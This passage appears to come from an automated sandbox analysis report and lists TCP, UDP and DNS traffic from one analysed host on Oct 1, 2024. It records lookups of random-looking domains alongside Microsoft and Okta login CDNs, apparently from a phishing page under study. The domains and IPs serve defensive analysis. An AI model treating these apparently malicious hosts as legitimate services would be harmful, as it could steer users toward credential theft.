Oct 1, 2024 15:09:15.124563932 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.124607086 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.124730110 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.124749899 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.127118111 CEST	49800	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.127161026 CEST	443	49800	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.127230883 CEST	49800	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.127587080 CEST	49800	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.127595901 CEST	443	49800	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.581824064 CEST	443	49800	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.582123041 CEST	49800	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.582140923 CEST	443	49800	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.583261967 CEST	443	49800	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.583328962 CEST	49800	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.583625078 CEST	49800	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.583636999 CEST	49800	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.583678007 CEST	49800	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.583690882 CEST	443	49800	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.583748102 CEST	49800	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.583983898 CEST	49801	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.584023952 CEST	443	49801	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.584110022 CEST	49801	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.584299088 CEST	49801	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.584314108 CEST	443	49801	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:16.048235893 CEST	443	49801	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:16.049567938 CEST	49801	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:16.049587965 CEST	443	49801	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:16.049910069 CEST	443	49801	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:16.050224066 CEST	49801	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:16.050288916 CEST	443	49801	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:16.050393105 CEST	49801	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:16.095398903 CEST	443	49801	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:16.380085945 CEST	443	49795	142.250.184.196	192.168.2.16
Oct 1, 2024 15:09:16.380175114 CEST	443	49795	142.250.184.196	192.168.2.16
Oct 1, 2024 15:09:16.380234003 CEST	49795	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:09:16.990289927 CEST	443	49801	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:16.990415096 CEST	443	49801	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:16.990489960 CEST	49801	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:16.991478920 CEST	49801	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:16.991499901 CEST	443	49801	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:17.171439886 CEST	49795	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:09:17.171478033 CEST	443	49795	142.250.184.196	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 15:08:00.979367971 CEST	53	51943	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:00.979415894 CEST	53	62940	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:01.757817984 CEST	55123	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:01.758009911 CEST	59262	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:01.982722998 CEST	53	55123	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:01.985894918 CEST	53	57398	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:02.000667095 CEST	53	59262	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:04.219140053 CEST	64500	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:04.219341993 CEST	53996	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:04.234318018 CEST	53	64500	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:04.235788107 CEST	53	53996	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:05.648700953 CEST	52912	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:05.649080992 CEST	58490	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:05.655591011 CEST	53	52912	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:05.655720949 CEST	53	58490	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:05.747793913 CEST	57176	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:05.748025894 CEST	62780	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:05.755378008 CEST	53	62780	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:05.755475044 CEST	53	57176	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:08.560242891 CEST	54921	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:08.560652018 CEST	51891	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:08.561587095 CEST	60356	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:08.561734915 CEST	63839	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:08.567171097 CEST	53	54921	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:08.568200111 CEST	53	51891	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:08.568732023 CEST	53	60356	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:08.569526911 CEST	53	63839	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:09.352547884 CEST	52141	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:09.352674961 CEST	62926	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:09.359412909 CEST	53	52141	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:09.362267971 CEST	53	62926	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:09.911365986 CEST	65176	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:09.911899090 CEST	49682	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:09.918790102 CEST	53	65176	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:09.919653893 CEST	53	49682	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:09.957736015 CEST	62299	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:09.957967043 CEST	64133	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:09.965136051 CEST	53	62299	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:09.965970993 CEST	53	64133	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:10.076430082 CEST	51856	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:10.076575994 CEST	57697	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:10.093031883 CEST	53	57697	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:10.103111982 CEST	53	51856	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:10.941529036 CEST	63418	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:10.941730976 CEST	52262	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:10.948998928 CEST	53	63418	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:10.949728012 CEST	53	52262	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:12.120444059 CEST	53895	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:12.120599985 CEST	54283	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:12.127341032 CEST	53	54283	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:12.128220081 CEST	53	53895	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:18.976715088 CEST	53	58776	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:26.572081089 CEST	63729	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:26.572249889 CEST	52128	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:26.573422909 CEST	51508	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:26.573576927 CEST	50524	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:26.581398964 CEST	53	50524	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:26.583352089 CEST	53	51508	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:26.591737986 CEST	53	52128	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:26.601594925 CEST	53	63729	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:26.697333097 CEST	53	54455	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:27.320416927 CEST	49903	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:27.320576906 CEST	52619	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:27.327559948 CEST	53	49903	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:27.327681065 CEST	53	52619	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:27.660901070 CEST	52205	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:27.661114931 CEST	60542	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:27.668762922 CEST	53	52205	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:27.668803930 CEST	53	60542	1.1.1.1	192.168.2.16
Oct 1, 2024 15:08:30.363939047 CEST	55151	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:30.364090919 CEST	63830	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:32.273142099 CEST	51551	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:32.273286104 CEST	55122	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:08:38.030927896 CEST	53	56655	1.1.1.1	192.168.2.16
Oct 1, 2024 15:09:00.413192034 CEST	53	50424	1.1.1.1	192.168.2.16
Oct 1, 2024 15:09:00.893843889 CEST	53	62331	1.1.1.1	192.168.2.16
Oct 1, 2024 15:09:01.564399004 CEST	138	138	192.168.2.16	192.168.2.255
Oct 1, 2024 15:09:05.664427996 CEST	56015	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:09:05.666610956 CEST	56419	53	192.168.2.16	1.1.1.1
Oct 1, 2024 15:09:05.671947002 CEST	53	56015	1.1.1.1	192.168.2.16
Oct 1, 2024 15:09:05.673546076 CEST	53	56419	1.1.1.1	192.168.2.16
Oct 1, 2024 15:09:29.526596069 CEST	53	63138	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 1, 2024 15:08:01.757817984 CEST	192.168.2.16	1.1.1.1	0x8c8b	Standard query (0)	vwkugoia0yciq0buttompanj2.ntvultra.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:01.758009911 CEST	192.168.2.16	1.1.1.1	0x8bfe	Standard query (0)	vwkugoia0yciq0buttompanj2.ntvultra.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:04.219140053 CEST	192.168.2.16	1.1.1.1	0x6439	Standard query (0)	gtekuvvait.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:04.219341993 CEST	192.168.2.16	1.1.1.1	0x423d	Standard query (0)	gtekuvvait.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:05.648700953 CEST	192.168.2.16	1.1.1.1	0x751f	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:05.649080992 CEST	192.168.2.16	1.1.1.1	0x4b2d	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:05.747793913 CEST	192.168.2.16	1.1.1.1	0xf76c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:05.748025894 CEST	192.168.2.16	1.1.1.1	0xaa5b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:08.560242891 CEST	192.168.2.16	1.1.1.1	0x7294	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:08.560652018 CEST	192.168.2.16	1.1.1.1	0x531a	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:08.561587095 CEST	192.168.2.16	1.1.1.1	0x6b2d	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:08.561734915 CEST	192.168.2.16	1.1.1.1	0x2908	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:09.352547884 CEST	192.168.2.16	1.1.1.1	0x1978	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:09.352674961 CEST	192.168.2.16	1.1.1.1	0xe377	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:09.911365986 CEST	192.168.2.16	1.1.1.1	0x72d1	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:09.911899090 CEST	192.168.2.16	1.1.1.1	0x70a3	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:09.957736015 CEST	192.168.2.16	1.1.1.1	0x261	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:09.957967043 CEST	192.168.2.16	1.1.1.1	0x3690	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 1, 2024 15:08:10.076430082 CEST	192.168.2.16	1.1.1.1	0xf436	Standard query (0)	gtekuvvait.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:10.076575994 CEST	192.168.2.16	1.1.1.1	0xa661	Standard query (0)	gtekuvvait.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:10.941529036 CEST	192.168.2.16	1.1.1.1	0x1976	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:10.941730976 CEST	192.168.2.16	1.1.1.1	0xbca0	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:12.120444059 CEST	192.168.2.16	1.1.1.1	0x2213	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:12.120599985 CEST	192.168.2.16	1.1.1.1	0xf6a	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 1, 2024 15:08:26.572081089 CEST	192.168.2.16	1.1.1.1	0x1f00	Standard query (0)	ok4static.oktacdn.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:26.572249889 CEST	192.168.2.16	1.1.1.1	0x6d9e	Standard query (0)	ok4static.oktacdn.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:26.573422909 CEST	192.168.2.16	1.1.1.1	0x8ce3	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:26.573576927 CEST	192.168.2.16	1.1.1.1	0x8021	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Oct 1, 2024 15:08:27.320416927 CEST	192.168.2.16	1.1.1.1	0x6bd5	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.320576906 CEST	192.168.2.16	1.1.1.1	0x32f	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Oct 1, 2024 15:08:27.660901070 CEST	192.168.2.16	1.1.1.1	0x49d2	Standard query (0)	ok4static.oktacdn.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.661114931 CEST	192.168.2.16	1.1.1.1	0x4df5	Standard query (0)	ok4static.oktacdn.com	65	IN (0x0001)	false
Oct 1, 2024 15:08:30.363939047 CEST	192.168.2.16	1.1.1.1	0xa884	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:30.364090919 CEST	192.168.2.16	1.1.1.1	0xfd1c	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false
Oct 1, 2024 15:08:32.273142099 CEST	192.168.2.16	1.1.1.1	0xf158	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:32.273286104 CEST	192.168.2.16	1.1.1.1	0x9b7a	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false
Oct 1, 2024 15:09:05.664427996 CEST	192.168.2.16	1.1.1.1	0xfedc	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:09:05.666610956 CEST	192.168.2.16	1.1.1.1	0x184	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 1, 2024 15:08:01.982722998 CEST	1.1.1.1	192.168.2.16	0x8c8b	No error (0)	vwkugoia0yciq0buttompanj2.ntvultra.com		108.179.252.163	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:04.234318018 CEST	1.1.1.1	192.168.2.16	0x6439	No error (0)	gtekuvvait.com		104.21.11.126	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:04.234318018 CEST	1.1.1.1	192.168.2.16	0x6439	No error (0)	gtekuvvait.com		172.67.166.9	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:04.235788107 CEST	1.1.1.1	192.168.2.16	0x423d	No error (0)	gtekuvvait.com			65	IN (0x0001)	false
Oct 1, 2024 15:08:05.655591011 CEST	1.1.1.1	192.168.2.16	0x751f	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:05.755378008 CEST	1.1.1.1	192.168.2.16	0xaa5b	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 1, 2024 15:08:05.755475044 CEST	1.1.1.1	192.168.2.16	0xf76c	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:08.567171097 CEST	1.1.1.1	192.168.2.16	0x7294	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:08.567171097 CEST	1.1.1.1	192.168.2.16	0x7294	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:08.568200111 CEST	1.1.1.1	192.168.2.16	0x531a	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 1, 2024 15:08:08.568732023 CEST	1.1.1.1	192.168.2.16	0x6b2d	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:08.568732023 CEST	1.1.1.1	192.168.2.16	0x6b2d	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:08.569526911 CEST	1.1.1.1	192.168.2.16	0x2908	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 1, 2024 15:08:09.359412909 CEST	1.1.1.1	192.168.2.16	0x1978	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:09.359412909 CEST	1.1.1.1	192.168.2.16	0x1978	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:09.362267971 CEST	1.1.1.1	192.168.2.16	0xe377	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 1, 2024 15:08:09.918790102 CEST	1.1.1.1	192.168.2.16	0x72d1	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:09.918790102 CEST	1.1.1.1	192.168.2.16	0x72d1	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:09.919653893 CEST	1.1.1.1	192.168.2.16	0x70a3	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 1, 2024 15:08:09.965136051 CEST	1.1.1.1	192.168.2.16	0x261	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:09.965136051 CEST	1.1.1.1	192.168.2.16	0x261	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:09.965136051 CEST	1.1.1.1	192.168.2.16	0x261	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:09.965970993 CEST	1.1.1.1	192.168.2.16	0x3690	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:09.965970993 CEST	1.1.1.1	192.168.2.16	0x3690	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:10.093031883 CEST	1.1.1.1	192.168.2.16	0xa661	No error (0)	gtekuvvait.com			65	IN (0x0001)	false
Oct 1, 2024 15:08:10.103111982 CEST	1.1.1.1	192.168.2.16	0xf436	No error (0)	gtekuvvait.com		104.21.11.126	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:10.103111982 CEST	1.1.1.1	192.168.2.16	0xf436	No error (0)	gtekuvvait.com		172.67.166.9	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:10.948998928 CEST	1.1.1.1	192.168.2.16	0x1976	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:10.948998928 CEST	1.1.1.1	192.168.2.16	0x1976	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:10.949728012 CEST	1.1.1.1	192.168.2.16	0xbca0	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 1, 2024 15:08:12.127341032 CEST	1.1.1.1	192.168.2.16	0xf6a	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:12.127341032 CEST	1.1.1.1	192.168.2.16	0xf6a	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:12.128220081 CEST	1.1.1.1	192.168.2.16	0x2213	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:12.128220081 CEST	1.1.1.1	192.168.2.16	0x2213	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:12.128220081 CEST	1.1.1.1	192.168.2.16	0x2213	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:26.581398964 CEST	1.1.1.1	192.168.2.16	0x8021	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:26.582493067 CEST	1.1.1.1	192.168.2.16	0xedd7	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:26.582493067 CEST	1.1.1.1	192.168.2.16	0xedd7	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:26.583352089 CEST	1.1.1.1	192.168.2.16	0x8ce3	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:26.583352089 CEST	1.1.1.1	192.168.2.16	0x8ce3	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:26.583352089 CEST	1.1.1.1	192.168.2.16	0x8ce3	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:26.583352089 CEST	1.1.1.1	192.168.2.16	0x8ce3	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:26.583352089 CEST	1.1.1.1	192.168.2.16	0x8ce3	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:26.591737986 CEST	1.1.1.1	192.168.2.16	0x6d9e	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:26.601594925 CEST	1.1.1.1	192.168.2.16	0x1f00	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:26.601594925 CEST	1.1.1.1	192.168.2.16	0x1f00	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.96	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:26.601594925 CEST	1.1.1.1	192.168.2.16	0x1f00	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.120	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:26.601594925 CEST	1.1.1.1	192.168.2.16	0x1f00	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.68	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:26.601594925 CEST	1.1.1.1	192.168.2.16	0x1f00	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.14	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.327559948 CEST	1.1.1.1	192.168.2.16	0x6bd5	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:27.327559948 CEST	1.1.1.1	192.168.2.16	0x6bd5	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.327559948 CEST	1.1.1.1	192.168.2.16	0x6bd5	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.327559948 CEST	1.1.1.1	192.168.2.16	0x6bd5	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.327559948 CEST	1.1.1.1	192.168.2.16	0x6bd5	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.327681065 CEST	1.1.1.1	192.168.2.16	0x32f	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:27.362026930 CEST	1.1.1.1	192.168.2.16	0x2807	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:27.362026930 CEST	1.1.1.1	192.168.2.16	0x2807	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.668762922 CEST	1.1.1.1	192.168.2.16	0x49d2	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:27.668762922 CEST	1.1.1.1	192.168.2.16	0x49d2	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.14	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.668762922 CEST	1.1.1.1	192.168.2.16	0x49d2	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.68	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.668762922 CEST	1.1.1.1	192.168.2.16	0x49d2	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.120	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.668762922 CEST	1.1.1.1	192.168.2.16	0x49d2	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.96	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:27.668803930 CEST	1.1.1.1	192.168.2.16	0x4df5	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
